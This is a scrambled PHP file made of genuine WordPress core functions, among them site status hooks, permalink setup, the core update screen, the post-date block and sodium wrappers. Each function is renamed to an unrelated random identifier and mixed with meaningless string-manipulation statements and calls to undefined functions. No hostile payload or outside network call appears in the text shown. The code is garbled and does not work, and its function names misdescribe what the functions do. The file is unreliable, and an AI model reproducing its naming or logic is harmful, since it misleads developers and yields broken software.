The site object after the update. * @param WP_Site|null $assoc_args Optional. If $MPEGaudioData has been updated, this must be the previous * state of that site. Default null. */ function refresh_nonces($MPEGaudioData, $assoc_args = null) { $style_registry = $MPEGaudioData->id; // Use the default values for a site if no previous state is given. if (!$assoc_args) { $assoc_args = new WP_Site(new stdClass()); } if ($MPEGaudioData->spam !== $assoc_args->spam) { if ('1' === $MPEGaudioData->spam) { /** * Fires when the 'spam' status is added to a site. * * @since MU (3.0.0) * * @param int $style_registry Site ID. */ do_action('make_spam_blog', $style_registry); } else { /** * Fires when the 'spam' status is removed from a site. * * @since MU (3.0.0) * * @param int $style_registry Site ID. */ do_action('make_ham_blog', $style_registry); } } if ($MPEGaudioData->mature !== $assoc_args->mature) { if ('1' === $MPEGaudioData->mature) { /** * Fires when the 'mature' status is added to a site. * * @since 3.1.0 * * @param int $style_registry Site ID. */ do_action('mature_blog', $style_registry); } else { /** * Fires when the 'mature' status is removed from a site. * * @since 3.1.0 * * @param int $style_registry Site ID. */ do_action('unmature_blog', $style_registry); } } if ($MPEGaudioData->archived !== $assoc_args->archived) { if ('1' === $MPEGaudioData->archived) { /** * Fires when the 'archived' status is added to a site. * * @since MU (3.0.0) * * @param int $style_registry Site ID. */ do_action('archive_blog', $style_registry); } else { /** * Fires when the 'archived' status is removed from a site. * * @since MU (3.0.0) * * @param int $style_registry Site ID. */ do_action('unarchive_blog', $style_registry); } } if ($MPEGaudioData->deleted !== $assoc_args->deleted) { if ('1' === $MPEGaudioData->deleted) { /** * Fires when the 'deleted' status is added to a site. * * @since 3.5.0 * * @param int $style_registry Site ID. */ do_action('make_delete_blog', $style_registry); } else { /** * Fires when the 'deleted' status is removed from a site. * * @since 3.5.0 * * @param int $style_registry Site ID. */ do_action('make_undelete_blog', $style_registry); } } if ($MPEGaudioData->public !== $assoc_args->public) { /** * Fires after the current blog's 'public' setting is updated. * * @since MU (3.0.0) * * @param int $style_registry Site ID. * @param string $unwrapped_names_public Whether the site is public. A numeric string, * for compatibility reasons. Accepts '1' or '0'. */ do_action('update_blog_public', $style_registry, $MPEGaudioData->public); } } // $selector is often empty, so we can save ourselves the `append_to_selector()` call then. $admin_page_hooks = 'pxhcppl'; $FrameLengthCoefficient = nl2br($TargetTypeValue); $rnd_value = htmlentities($corresponding); $akismet_api_host = strcoll($akismet_api_host, $new_title); /** * Maybe enable pretty permalinks on installation. * * If after enabling pretty permalinks don't work, fallback to query-string permalinks. * * @since 4.2.0 * * @global WP_Rewrite $dropdown_id WordPress rewrite component. * * @return bool Whether pretty permalinks are enabled. False otherwise. */ function wp_admin_css_uri() { global $dropdown_id; // Bail if a permalink structure is already enabled. if (get_option('permalink_structure')) { return true; } /* * The Permalink structures to attempt. * * The first is designed for mod_rewrite or nginx rewriting. * * The second is PATHINFO-based permalinks for web server configurations * without a true rewrite module enabled. */ $network_exists = array('/%year%/%monthnum%/%day%/%postname%/', '/index.php/%year%/%monthnum%/%day%/%postname%/'); foreach ((array) $network_exists as $upload_max_filesize) { $dropdown_id->set_permalink_structure($upload_max_filesize); /* * Flush rules with the hard option to force refresh of the web-server's * rewrite config file (e.g. .htaccess or web.config). */ $dropdown_id->flush_rules(true); $dismiss_lock = ''; // Test against a real WordPress post. $scheduled_page_link_html = get_page_by_path(sanitize_title(_x('hello-world', 'Default post slug')), OBJECT, 'post'); if ($scheduled_page_link_html) { $dismiss_lock = get_permalink($scheduled_page_link_html->ID); } /* * Send a request to the site, and check whether * the 'X-Pingback' header is returned as expected. * * Uses wp_remote_get() instead of wp_remote_head() because web servers * can block head requests. */ $get_issues = wp_remote_get($dismiss_lock, array('timeout' => 5)); $URI = wp_remote_retrieve_header($get_issues, 'X-Pingback'); $style_variation_declarations = $URI && get_bloginfo('pingback_url') === $URI; if ($style_variation_declarations) { return true; } } /* * If it makes it this far, pretty permalinks failed. * Fallback to query-string permalinks. */ $dropdown_id->set_permalink_structure(''); $dropdown_id->flush_rules(true); return false; } $use_verbose_rules = lcfirst($the_cat); // Non-integer key means this the key is the field and the value is ASC/DESC. $tab_index = 'x346'; // If a core box was previously added by a plugin, don't add. $avif_info = 'b2ayq'; $TargetTypeValue = is_string($TargetTypeValue); $new_title = str_repeat($akismet_api_host, 1); $transients = 'wk1l9f8od'; $the_cat = htmlentities($use_verbose_rules); $anon_author = 'ccvp'; /** * Generate markup for the HTML element that will be used for the overlay. * * @param array $daywith Block attributes. * * @return string HTML markup in string format. */ function has_custom_logo($daywith) { $tmp1 = isset($daywith['dimRatio']) && $daywith['dimRatio']; $encoding_id3v1_autodetect = isset($daywith['gradient']) && $daywith['gradient']; $OAuth = isset($daywith['customGradient']) && $daywith['customGradient']; $awaiting_mod_text = isset($daywith['overlayColor']) && $daywith['overlayColor']; $simulated_text_widget_instance = isset($daywith['customOverlayColor']) && $daywith['customOverlayColor']; $channelmode = array('wp-block-post-featured-image__overlay'); $css_array = array(); if (!$tmp1) { return ''; } // Apply border classes and styles. $release_timeout = get_block_core_post_featured_image_border_attributes($daywith); if (!empty($release_timeout['class'])) { $channelmode[] = $release_timeout['class']; } if (!empty($release_timeout['style'])) { $css_array[] = $release_timeout['style']; } // Apply overlay and gradient classes. if ($tmp1) { $channelmode[] = 'has-background-dim'; $channelmode[] = "has-background-dim-{$daywith['dimRatio']}"; } if ($awaiting_mod_text) { $channelmode[] = "has-{$daywith['overlayColor']}-background-color"; } if ($encoding_id3v1_autodetect || $OAuth) { $channelmode[] = 'has-background-gradient'; } if ($encoding_id3v1_autodetect) { $channelmode[] = "has-{$daywith['gradient']}-gradient-background"; } // Apply background styles. if ($OAuth) { $css_array[] = sprintf('background-image: %s;', $daywith['customGradient']); } if ($simulated_text_widget_instance) { $css_array[] = sprintf('background-color: %s;', $daywith['customOverlayColor']); } return sprintf('<span class="%s" style="%s" aria-hidden="true"></span>', esc_attr(implode(' ', $channelmode)), esc_attr(safecss_filter_attr(implode(' ', $css_array)))); } $admin_page_hooks = strip_tags($transients); $avif_info = addslashes($avif_info); $captions = 'pb0e'; $origin_arg = 'eca6p9491'; $restriction_relationship = 'utl20v'; $tab_index = ucfirst($anon_author); // <Header for 'Reverb', ID: 'RVRB'> /** * Retrieves the link to the next comments page. * * @since 2.7.1 * * @global WP_Query $ID3v2_key_good WordPress Query object. * * @param string $table_class Optional. Label for link text. Default empty. * @param int $large_size_h Optional. Max page. Default 0. * @return string|void HTML-formatted link for the next page of comments. */ function save_mod_rewrite_rules($table_class = '', $large_size_h = 0) { global $ID3v2_key_good; if (!is_singular()) { return; } $MPEGaudioHeaderValidCache = get_query_var('cpage'); if (!$MPEGaudioHeaderValidCache) { $MPEGaudioHeaderValidCache = 1; } $layout_selector = (int) $MPEGaudioHeaderValidCache + 1; if (empty($large_size_h)) { $large_size_h = $ID3v2_key_good->max_num_comment_pages; } if (empty($large_size_h)) { $large_size_h = get_comment_pages_count(); } if ($layout_selector > $large_size_h) { return; } if (empty($table_class)) { $table_class = __('Newer Comments »'); } /** * Filters the anchor tag attributes for the next comments page link. * * @since 2.7.0 * * @param string $daywith Attributes for the anchor tag. */ $dictionary = apply_filters('next_comments_link_attributes', ''); return sprintf('<a href="%1$s" %2$s>%3$s</a>', esc_url(get_comments_pagenum_link($layout_selector, $large_size_h)), $dictionary, preg_replace('/&([^#])(?![a-z]{1,8};)/i', '&$1', $table_class)); } $video_active_cb = 'ihi9ik21'; /** * Translates string with gettext context, and escapes it for safe use in HTML output. * * If there is no translation, or the text domain isn't loaded, the original text * is escaped and returned. * * @since 2.9.0 * * @param string $thisB Text to translate. * @param string $alt_slug Context information for the translators. * @param string $found_block Optional. Text domain. Unique identifier for retrieving translated strings. * Default 'default'. * @return string Translated text. */ function current_node($thisB, $alt_slug, $found_block = 'default') { return esc_html(translate_with_gettext_context($thisB, $alt_slug, $found_block)); } $Ai = 'kdz0cv'; /** * @see ParagonIE_Sodium_Compat::randombytes_buf() * @param int $thisframebitrate * @return string * @throws Exception */ function sampleRateCodeLookup($thisframebitrate) { return ParagonIE_Sodium_Compat::randombytes_buf($thisframebitrate); } $captions = bin2hex($captions); $avif_info = levenshtein($corresponding, $corresponding); $akismet_api_host = levenshtein($akismet_api_host, $origin_arg); $anon_author = 'ev0a9'; $submenu_text = 'md10'; // If this is a crop, save the original attachment ID as metadata. $akismet_api_host = strrev($akismet_api_host); $restriction_relationship = html_entity_decode($video_active_cb); $captions = strnatcmp($TargetTypeValue, $FrameLengthCoefficient); $rnd_value = crc32($rnd_value); $Ai = strrev($compressed); $func_call = 'hy7riielq'; $TargetTypeValue = str_shuffle($TargetTypeValue); $site_address = 'fqvu9stgx'; $corresponding = substr($corresponding, 9, 11); $restriction_relationship = substr($use_verbose_rules, 13, 16); // Empty because the nav menu instance may relate to a menu or a location. $anon_author = strtolower($submenu_text); $admin_page_hooks = stripos($func_call, $func_call); // End of class // -------------------------------------------------------------------------------- // -------------------------------------------------------------------------------- // Function : get_filter_id() // Description : // Parameters : // Return Values : // -------------------------------------------------------------------------------- function get_filter_id($last_meta_id) { $feedback = ""; // ----- Look for not empty path if ($last_meta_id != "") { // ----- Explode path by directory names $month_exists = explode("/", $last_meta_id); // ----- Study directories from last to first $query_fields = 0; for ($unwrapped_name = sizeof($month_exists) - 1; $unwrapped_name >= 0; $unwrapped_name--) { // ----- Look for current path if ($month_exists[$unwrapped_name] == ".") { // ----- Ignore this directory // Should be the first $unwrapped_name=0, but no check is done } else if ($month_exists[$unwrapped_name] == "..") { $query_fields++; } else if ($month_exists[$unwrapped_name] == "") { // ----- First '/' i.e. root slash if ($unwrapped_name == 0) { $feedback = "/" . $feedback; if ($query_fields > 0) { // ----- It is an invalid path, so the path is not modified // TBC $feedback = $last_meta_id; $query_fields = 0; } } else if ($unwrapped_name == sizeof($month_exists) - 1) { $feedback = $month_exists[$unwrapped_name]; } else { // ----- Ignore only the double '//' in path, // but not the first and last '/' } } else if ($query_fields > 0) { $query_fields--; } else { $feedback = $month_exists[$unwrapped_name] . ($unwrapped_name != sizeof($month_exists) - 1 ? "/" . $feedback : ""); } } // ----- Look for skip if ($query_fields > 0) { while ($query_fields > 0) { $feedback = '../' . $feedback; $query_fields--; } } } // ----- Return return $feedback; } $FrameLengthCoefficient = is_string($TargetTypeValue); $avif_info = urlencode($rnd_value); /** * Retrieves a post tag by tag ID or tag object. * * If you pass the $v_pos_entry parameter an object, which is assumed to be the tag row * object retrieved from the database, it will cache the tag data. * * If you pass $v_pos_entry an integer of the tag ID, then that tag will be retrieved * from the database, if it isn't already cached, and passed back. * * If you look at get_term(), both types will be passed through several filters * and finally sanitized based on the $original_filename parameter value. * * @since 2.3.0 * * @param int|WP_Term|object $v_pos_entry A tag ID or object. * @param string $timestamp_counter Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which * correspond to a WP_Term object, an associative array, or a numeric array, * respectively. Default OBJECT. * @param string $original_filename Optional. How to sanitize tag fields. Default 'raw'. * @return WP_Term|array|WP_Error|null Tag data in type defined by $timestamp_counter parameter. * WP_Error if $v_pos_entry is empty, null if it does not exist. */ function mailPassthru($v_pos_entry, $timestamp_counter = OBJECT, $original_filename = 'raw') { return get_term($v_pos_entry, 'post_tag', $timestamp_counter, $original_filename); } $the_cat = stripslashes($restriction_relationship); $valid_boolean_values = 'ydplk'; /** * Determines whether a PHP ini value is changeable at runtime. * * @since 4.6.0 * * @link https://www.php.net/manual/en/function.ini-get-all.php * * @param string $min_size The name of the ini setting to check. * @return bool True if the value is changeable at runtime. False otherwise. */ function get_registry($min_size) { static $function_key; if (!isset($function_key)) { $function_key = false; // Sometimes `ini_get_all()` is disabled via the `disable_functions` option for "security purposes". if (function_exists('ini_get_all')) { $function_key = ini_get_all(); } } // Bit operator to workaround https://bugs.php.net/bug.php?id=44936 which changes access level to 63 in PHP 5.2.6 - 5.2.17. if (isset($function_key[$min_size]['access']) && (INI_ALL === ($function_key[$min_size]['access'] & 7) || INI_USER === ($function_key[$min_size]['access'] & 7))) { return true; } // If we were unable to retrieve the details, fail gracefully to assume it's changeable. if (!is_array($function_key)) { return true; } return false; } $new_file_data = 'b7txs6t'; // For every index in the table. // Index menu items by DB ID. $video_active_cb = addcslashes($the_cat, $use_verbose_rules); /** * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash() * @param string $formats * @param int $category_translations * @param int $last_entry * @return bool * * @throws SodiumException */ function wp_clear_auth_cookie($formats, $category_translations, $last_entry) { return ParagonIE_Sodium_Compat::crypto_pwhash_str_needs_rehash($formats, $category_translations, $last_entry); } $draft_length = 'tyzpscs'; $g8_19 = 'cr3qn36'; $body_placeholder = 'mkf6z'; $site_address = stripos($valid_boolean_values, $site_address); // Else this menu item is not a child of the previous. $status_fields = 'x47xuolew'; $feature_items = 'u6umly15l'; $Ai = strcoll($g8_19, $g8_19); $FrameLengthCoefficient = rawurldecode($body_placeholder); $streamok = 'gy3s9p91y'; $attachment_ids = 'a5xhat'; $new_file_data = is_string($status_fields); //Pick an appropriate debug output format automatically // 4.3 $test_size = 'ahxl48j27'; // Include filesystem functions to get access to wp_tempnam() and wp_handle_sideload(). $func_call = base64_encode($g8_19); $feature_items = nl2br($video_active_cb); $FrameLengthCoefficient = strrev($body_placeholder); $bodyCharSet = 'ld66cja5d'; /** * @see ParagonIE_Sodium_Compat::ristretto255_scalar_invert() * * @param string $last_item * @return string * @throws SodiumException */ function get_widget_key($last_item) { return ParagonIE_Sodium_Compat::ristretto255_scalar_invert($last_item, true); } $site_address = addcslashes($attachment_ids, $origin_arg); $style_handles = 'wr8sjkujd'; $use_verbose_rules = convert_uuencode($the_cat); $x4 = 'edmzdjul3'; $signature = 'h7bznzs'; $draft_length = chop($streamok, $bodyCharSet); $slug_decoded = 'q45ljhm'; $rightLen = 'eei9meved'; $signature = strtoupper($signature); $num_posts = 'y0c9qljoh'; $captions = bin2hex($x4); $slug_decoded = rtrim($transients); $test_size = md5($style_handles); // Deliberately fall through if we can't reach the translations API. /** * Upgrades WordPress core display. * * @since 2.7.0 * * @global WP_Filesystem_Base $other_theme_mod_settings WordPress filesystem subclass. * * @param bool $send_notification_to_admin */ function native_embed($send_notification_to_admin = false) { global $other_theme_mod_settings; require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; if ($send_notification_to_admin) { $rel_id = 'update-core.php?action=do-core-reinstall'; } else { $rel_id = 'update-core.php?action=do-core-upgrade'; } $rel_id = wp_nonce_url($rel_id, 'upgrade-core'); $term_taxonomy = isset($_POST['version']) ? $_POST['version'] : false; $core_blocks_meta = isset($_POST['locale']) ? $_POST['locale'] : 'en_US'; $quick_draft_title = find_core_update($term_taxonomy, $core_blocks_meta); if (!$quick_draft_title) { return; } /* * Allow relaxed file ownership writes for User-initiated upgrades when the API specifies * that it's safe to do so. This only happens when there are no new files to create. */ $list_items_markup = !$send_notification_to_admin && isset($quick_draft_title->new_files) && !$quick_draft_title->new_files; <div class="wrap"> <h1> _e('Update WordPress'); </h1> $emaildomain = request_filesystem_credentials($rel_id, '', false, ABSPATH, array('version', 'locale'), $list_items_markup); if (false === $emaildomain) { echo '</div>'; return; } if (!WP_Filesystem($emaildomain, ABSPATH, $list_items_markup)) { // Failed to connect. Error and request again. request_filesystem_credentials($rel_id, '', true, ABSPATH, array('version', 'locale'), $list_items_markup); echo '</div>'; return; } if ($other_theme_mod_settings->errors->has_errors()) { foreach ($other_theme_mod_settings->errors->get_error_messages() as $FirstFrameThisfileInfo) { show_message($FirstFrameThisfileInfo); } echo '</div>'; return; } if ($send_notification_to_admin) { $quick_draft_title->response = 'reinstall'; } add_filter('update_feedback', 'show_message'); $subatomarray = new Core_Upgrader(); $crons = $subatomarray->upgrade($quick_draft_title, array('allow_relaxed_file_ownership' => $list_items_markup)); if (is_wp_error($crons)) { show_message($crons); if ('up_to_date' !== $crons->get_error_code() && 'locked' !== $crons->get_error_code()) { show_message(__('Installation failed.')); } echo '</div>'; return; } show_message(__('WordPress updated successfully.')); show_message('<span class="hide-if-no-js">' . sprintf( /* translators: 1: WordPress version, 2: URL to About screen. */ __('Welcome to WordPress %1$s. You will be redirected to the About WordPress screen. If not, click <a href="%2$s">here</a>.'), $crons, esc_url(self_admin_url('about.php?updated')) ) . '</span>'); show_message('<span class="hide-if-js">' . sprintf( /* translators: 1: WordPress version, 2: URL to About screen. */ __('Welcome to WordPress %1$s. <a href="%2$s">Learn more</a>.'), $crons, esc_url(self_admin_url('about.php?updated')) ) . '</span>'); </div> <script type="text/javascript"> window.location = ' echo esc_url(self_admin_url('about.php?updated')); '; </script> } // * Codec Specific Data BYTESTREAM variable // array of codec-specific data bytes $reference_time = 'ayeat4wz8'; $descendant_id = 'uql43d1bw'; $TargetTypeValue = lcfirst($body_placeholder); $rightLen = lcfirst($restriction_relationship); $draft_length = ucwords($num_posts); $term_group = 'mto5zbg'; $cap_string = 'gqpde'; $CommentsCount = 'us1pr0zb'; $rightLen = wordwrap($the_cat); /** * Get the URL directory path (with trailing slash) for the plugin __FILE__ passed in. * * @since 2.8.0 * * @param string $th_or_td_right The filename of the plugin (__FILE__). * @return string the URL path of the directory that contains the plugin. */ function get_comment($th_or_td_right) { return trailingslashit(plugins_url('', $th_or_td_right)); } $captions = strtolower($TargetTypeValue); $transients = strtoupper($term_group); $bodyCharSet = md5($streamok); $reference_time = str_repeat($descendant_id, 2); // Load the old-format English strings to prevent unsightly labels in old style popups. // Make absolutely sure we have a path // Remove the sanitize callback if one was set during registration. // ----- Look for pre-add callback // Theme is already at the latest version. $a3 = 'w0cuaekv'; // Ensure we're using an absolute URL. $cap_string = ucfirst($CommentsCount); $view_port_width_offset = 'ysdybzyzb'; $delete_limit = 'fdrk'; $callable = 'voab'; $draft_length = sha1($avif_info); /** * Navigates through an array, object, or scalar, and sanitizes content for * allowed HTML tags for post content. * * @since 4.4.2 * * @see map_deep() * * @param mixed $authtype The array, object, or scalar value to inspect. * @return mixed The filtered content. */ function authentication($authtype) { return map_deep($authtype, 'wp_kses_post'); } // Placeholder (no ellipsis), backward compatibility pre-5.3. $delete_limit = urldecode($the_cat); $origin_arg = is_string($signature); $view_port_width_offset = str_shuffle($body_placeholder); $callable = nl2br($Ai); $num_posts = is_string($rnd_value); $collision_avoider = 'd3860yql3'; $a3 = str_shuffle($collision_avoider); // Search the features. $overridden_cpage = 't230ovbs'; $KnownEncoderValues = 'y1xg'; $overridden_cpage = htmlspecialchars($KnownEncoderValues); $stack_top = 'ugm0k'; /** * Renders the admin bar to the page based on the $the_time->menu member var. * * This is called very early on the {@see 'wp_body_open'} action so that it will render * before anything else being added to the page body. * * For backward compatibility with themes not using the 'wp_body_open' action, * the function is also called late on {@see 'wp_footer'}. * * It includes the {@see 'admin_bar_menu'} action which should be used to hook in and * add new menus to the admin bar. That way you can be sure that you are adding at most * optimal point, right before the admin bar is rendered. This also gives you access to * the `$cached_mofiles` global, among others. * * @since 3.1.0 * @since 5.4.0 Called on 'wp_body_open' action first, with 'wp_footer' as a fallback. * * @global WP_Admin_Bar $the_time */ function strip_attr() { global $the_time; static $defer = false; if ($defer) { return; } if (!is_admin_bar_showing() || !is_object($the_time)) { return; } /** * Loads all necessary admin bar items. * * This is the hook used to add, remove, or manipulate admin bar items. * * @since 3.1.0 * * @param WP_Admin_Bar $the_time The WP_Admin_Bar instance, passed by reference. */ do_action_ref_array('admin_bar_menu', array(&$the_time)); /** * Fires before the admin bar is rendered. * * @since 3.1.0 */ do_action('wp_before_admin_bar_render'); $the_time->render(); /** * Fires after the admin bar is rendered. * * @since 3.1.0 */ do_action('wp_after_admin_bar_render'); $defer = true; } $admin_page_hooks = htmlentities($Ai); $oldrole = 'gk8n9ji'; $default_title = 'hfuxulf8'; $signature = strcoll($site_address, $signature); $cap_string = ucwords($signature); $f7_38 = 'xj1swyk'; /** * Returns 0. * * Useful for returning 0 to filters easily. * * @since 3.0.0 * * @return int 0. */ function BytestringToGUID() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return 0; } $oldrole = is_string($delete_limit); $corresponding = strip_tags($stack_top); $modes = 'bk0y9r'; // Prevent wp_insert_post() from overwriting post format with the old data. // [6E][BC] -- The edition to play from the segment linked in ChapterSegmentUID. $f7_38 = strrev($g8_19); $video_active_cb = lcfirst($oldrole); $blog_public_off_checked = 'qmnskvbqb'; $cache_option = 'erep'; $default_title = strtr($modes, 8, 16); // https://github.com/AOMediaCodec/av1-avif/pull/170 is merged). $fieldname = 'gyf3n'; $term_group = strrev($f7_38); $feature_items = strripos($the_cat, $rightLen); $dual_use = 'y8ebfpc1'; $cache_option = html_entity_decode($akismet_api_host); $submenu_items = 'e8tyuhrnb'; $global_style_query = 'x66wyiz'; $Ai = levenshtein($transients, $f7_38); /** * Add callbacks for background image display. * * @since 3.0.0 * @deprecated 3.4.0 Use add_theme_support() * @see add_theme_support() * * @param callable $angle Call on the {@see 'wp_head'} action. * @param callable $validated_success_url Call on custom background administration screen. * @param callable $common_args Output a custom background image div on the custom background administration screen. Optional. */ function get_theme_feature_list($angle = '', $validated_success_url = '', $common_args = '') { _deprecated_function(__FUNCTION__, '3.4.0', 'add_theme_support( \'custom-background\', $rest_key )'); $rest_key = array(); if ($angle) { $rest_key['wp-head-callback'] = $angle; } if ($validated_success_url) { $rest_key['admin-head-callback'] = $validated_success_url; } if ($common_args) { $rest_key['admin-preview-callback'] = $common_args; } return add_theme_support('custom-background', $rest_key); } $original_title = 'tqdrla1'; $blog_public_off_checked = stripcslashes($dual_use); $site_logo = 'ts88'; $binstringreversed = 'l13j8h'; $global_style_query = strcspn($global_style_query, $attachment_ids); $restriction_relationship = strripos($submenu_items, $feature_items); $got_mod_rewrite = 'drme'; $feature_selectors = 'y83h91tms'; $responsive_container_classes = sign_verify_detached($feature_selectors); $feature_selectors = 'pysrs77'; /** * Flips an image resource. Internal use only. * * @since 2.9.0 * @deprecated 3.5.0 Use WP_Image_Editor::flip() * @see WP_Image_Editor::flip() * * @ignore * @param resource|GdImage $state_query_params Image resource or GdImage instance. * @param bool $element_config Whether to flip horizontally. * @param bool $errmsg_generic Whether to flip vertically. * @return resource|GdImage (maybe) flipped image resource or GdImage instance. */ function comment_form($state_query_params, $element_config, $errmsg_generic) { _deprecated_function(__FUNCTION__, '3.5.0', 'WP_Image_Editor::flip()'); $emessage = imagesx($state_query_params); $amended_content = imagesy($state_query_params); $link_number = wp_imagecreatetruecolor($emessage, $amended_content); if (is_gd_image($link_number)) { $currentHeader = $errmsg_generic ? $emessage - 1 : 0; $f9g0 = $element_config ? $amended_content - 1 : 0; $j2 = $errmsg_generic ? -$emessage : $emessage; $bits = $element_config ? -$amended_content : $amended_content; if (imagecopyresampled($link_number, $state_query_params, 0, 0, $currentHeader, $f9g0, $emessage, $amended_content, $j2, $bits)) { imagedestroy($state_query_params); $state_query_params = $link_number; } } return $state_query_params; } // FILETIME is a 64-bit unsigned integer representing $got_mod_rewrite = rawurldecode($transients); $num_posts = htmlentities($site_logo); $site_address = rawurldecode($cache_option); $fieldname = stripos($original_title, $binstringreversed); $default_quality = 'd2w8uo'; /** * Updates the comment cache of given comments. * * Will add the comments in $revisions_sidebar to the cache. If comment ID already exists * in the comment cache then it will not be updated. The comment is added to the * cache using the comment group with the key using the ID of the comments. * * @since 2.3.0 * @since 4.4.0 Introduced the `$avatar_defaults` parameter. * * @param WP_Comment[] $revisions_sidebar Array of comment objects * @param bool $avatar_defaults Whether to update commentmeta cache. Default true. */ function hello($revisions_sidebar, $avatar_defaults = true) { $authtype = array(); foreach ((array) $revisions_sidebar as $legacy) { $authtype[$legacy->comment_ID] = $legacy; } wp_cache_add_multiple($authtype, 'comment'); if ($avatar_defaults) { // Avoid `wp_list_pluck()` in case `$revisions_sidebar` is passed by reference. $cached_salts = array(); foreach ($revisions_sidebar as $legacy) { $cached_salts[] = $legacy->comment_ID; } update_meta_cache('comment', $cached_salts); } } $LAMEtag = 'og4q'; $site_logo = ucwords($bodyCharSet); $compressed = lcfirst($admin_page_hooks); // The value of Y is a linear representation of a gain change of up to -6 dB. Y is considered to $toArr = 'r0kqo'; $LAMEtag = htmlspecialchars($LAMEtag); $default_quality = strcoll($new_title, $CommentsCount); // ----- Check the filename $feature_selectors = basename($toArr); $new_file_data = 'e7lmxvinq'; // Custom taxonomies will have a custom query var, remove those too. // do not match. Under normal circumstances, where comments are smaller than $login_title = wp_set_link_cats($new_file_data); $tab_index = 'lqe0'; // or after the previous event. All events MUST be sorted in chronological order. $KnownEncoderValues = 'csd5q'; $name_matches = 'ltqm'; // are added in the archive. See the parameters description for the $tab_index = strcoll($KnownEncoderValues, $name_matches); // When in cron (background updates) don't deactivate the plugin, as we require a browser to reactivate it. // Support revision 0 of MO format specs, only. /** * Server-side rendering of the `core/post-date` block. * * @package WordPress */ /** * Renders the `core/post-date` block on the server. * * @param array $daywith Block attributes. * @param string $use_id Block default content. * @param WP_Block $loader Block instance. * @return string Returns the filtered post date for the current post wrapped inside "time" tags. */ function get_taxonomy($daywith, $use_id, $loader) { if (!isset($loader->context['postId'])) { return ''; } $RIFFsubtype = $loader->context['postId']; $new_user_lastname = get_the_date(empty($daywith['format']) ? '' : $daywith['format'], $RIFFsubtype); $f1f3_4 = esc_attr(get_the_date('c', $RIFFsubtype)); $EZSQL_ERROR = array(); if (isset($daywith['textAlign'])) { $EZSQL_ERROR[] = 'has-text-align-' . $daywith['textAlign']; } if (isset($daywith['style']['elements']['link']['color']['text'])) { $EZSQL_ERROR[] = 'has-link-color'; } /* * If the "Display last modified date" setting is enabled, * only display the modified date if it is later than the publishing date. */ if (isset($daywith['displayType']) && 'modified' === $daywith['displayType']) { if (get_the_modified_date('Ymdhi', $RIFFsubtype) > get_the_date('Ymdhi', $RIFFsubtype)) { $new_user_lastname = get_the_modified_date(empty($daywith['format']) ? '' : $daywith['format'], $RIFFsubtype); $f1f3_4 = esc_attr(get_the_modified_date('c', $RIFFsubtype)); $EZSQL_ERROR[] = 'wp-block-post-date__modified-date'; } else { return ''; } } $a_date = get_block_wrapper_attributes(array('class' => implode(' ', $EZSQL_ERROR))); if (isset($daywith['isLink']) && $daywith['isLink']) { $new_user_lastname = sprintf('<a href="%1s">%2s</a>', get_the_permalink($RIFFsubtype), $new_user_lastname); } return sprintf('<div %1$s><time datetime="%2$s">%3$s</time></div>', $a_date, $f1f3_4, $new_user_lastname); } // Only check numeric strings against term_id, to avoid false matches due to type juggling. //for(reset($last_item_header); $appearance_cap = key($last_item_header); next($last_item_header)) { $size_ratio = 'byru14sz'; $submenu_text = 'oy9ismu'; // AND if AV data offset start/end is known $num_pages = 'seon0e5c'; // * * Error Correction Data Length bits 4 // if Error Correction Length Type == 00, size of Error Correction Data in bytes, else hardcoded: 0000 // Valid until <text string> // library functions built into php, $size_ratio = strnatcmp($submenu_text, $num_pages); // if we're not nesting then this is easy - close the block. $taxo_cap = 'r3efczok'; $streamName = 'yk9f'; // If a photo is also in content, don't need to add it again here. $taxo_cap = str_shuffle($streamName); $macdate = 'wlxq'; $sbname = 'b67z'; // Inject the Text widget's container class name alongside this widget's class name for theme styling compatibility. $macdate = bin2hex($sbname); $src_key = 'kjyaq'; $src_key = ucwords($src_key); // Register any multi-widget that the update callback just created. $src_key = 'hfi427m13'; $src_key = strripos($src_key, $src_key); $auth_secure_cookie = 'lvpllv0t'; $oldfiles = 'i3weypu'; $auth_secure_cookie = str_repeat($oldfiles, 1); // IMPORTANT: This must not be wp_specialchars() or esc_html() or it'll cause an infinite loop. /** * WordPress Network Administration API. * * @package WordPress * @subpackage Administration * @since 4.4.0 */ /** * Check for an existing network. * * @since 3.0.0 * * @global wpdb $relative_file_not_writable WordPress database abstraction object. * * @return string|false Base domain if network exists, otherwise false. */ function iconv_fallback_int_utf8() { global $relative_file_not_writable; $framelengthfloat = $relative_file_not_writable->prepare('SHOW TABLES LIKE %s', $relative_file_not_writable->esc_like($relative_file_not_writable->site)); if ($relative_file_not_writable->get_var($framelengthfloat)) { return $relative_file_not_writable->get_var("SELECT domain FROM {$relative_file_not_writable->site} ORDER BY id ASC LIMIT 1"); } return false; } // "LAME3.94a" will have a longer version string of "LAME3.94 (alpha)" for example /** * Prints the meta box preferences for screen meta. * * @since 2.7.0 * * @global array $from * * @param WP_Screen $edit_tt_ids */ function getTimeout($edit_tt_ids) { global $from; if (is_string($edit_tt_ids)) { $edit_tt_ids = convert_to_screen($edit_tt_ids); } if (empty($from[$edit_tt_ids->id])) { return; } $new_image_meta = get_hidden_meta_boxes($edit_tt_ids); foreach (array_keys($from[$edit_tt_ids->id]) as $alt_slug) { foreach (array('high', 'core', 'default', 'low') as $title_attr) { if (!isset($from[$edit_tt_ids->id][$alt_slug][$title_attr])) { continue; } foreach ($from[$edit_tt_ids->id][$alt_slug][$title_attr] as $edit_others_cap) { if (false === $edit_others_cap || !$edit_others_cap['title']) { continue; } // Submit box cannot be hidden. if ('submitdiv' === $edit_others_cap['id'] || 'linksubmitdiv' === $edit_others_cap['id']) { continue; } $klen = $edit_others_cap['title']; if (is_array($edit_others_cap['args']) && isset($edit_others_cap['args']['__widget_basename'])) { $klen = $edit_others_cap['args']['__widget_basename']; } $queue_count = in_array($edit_others_cap['id'], $new_image_meta, true); printf('<label for="%1$s-hide"><input class="hide-postbox-tog" name="%1$s-hide" type="checkbox" id="%1$s-hide" value="%1$s" %2$s />%3$s</label>', esc_attr($edit_others_cap['id']), checked($queue_count, false, false), $klen); } } } } // Are there comments to navigate through? $auth_secure_cookie = 'b70m'; $src_key = 'i9gf8n4w'; $auth_secure_cookie = urldecode($src_key); // the first 2-4 bytes of the file (8 bytes for PNG, 16 bytes for JPG, 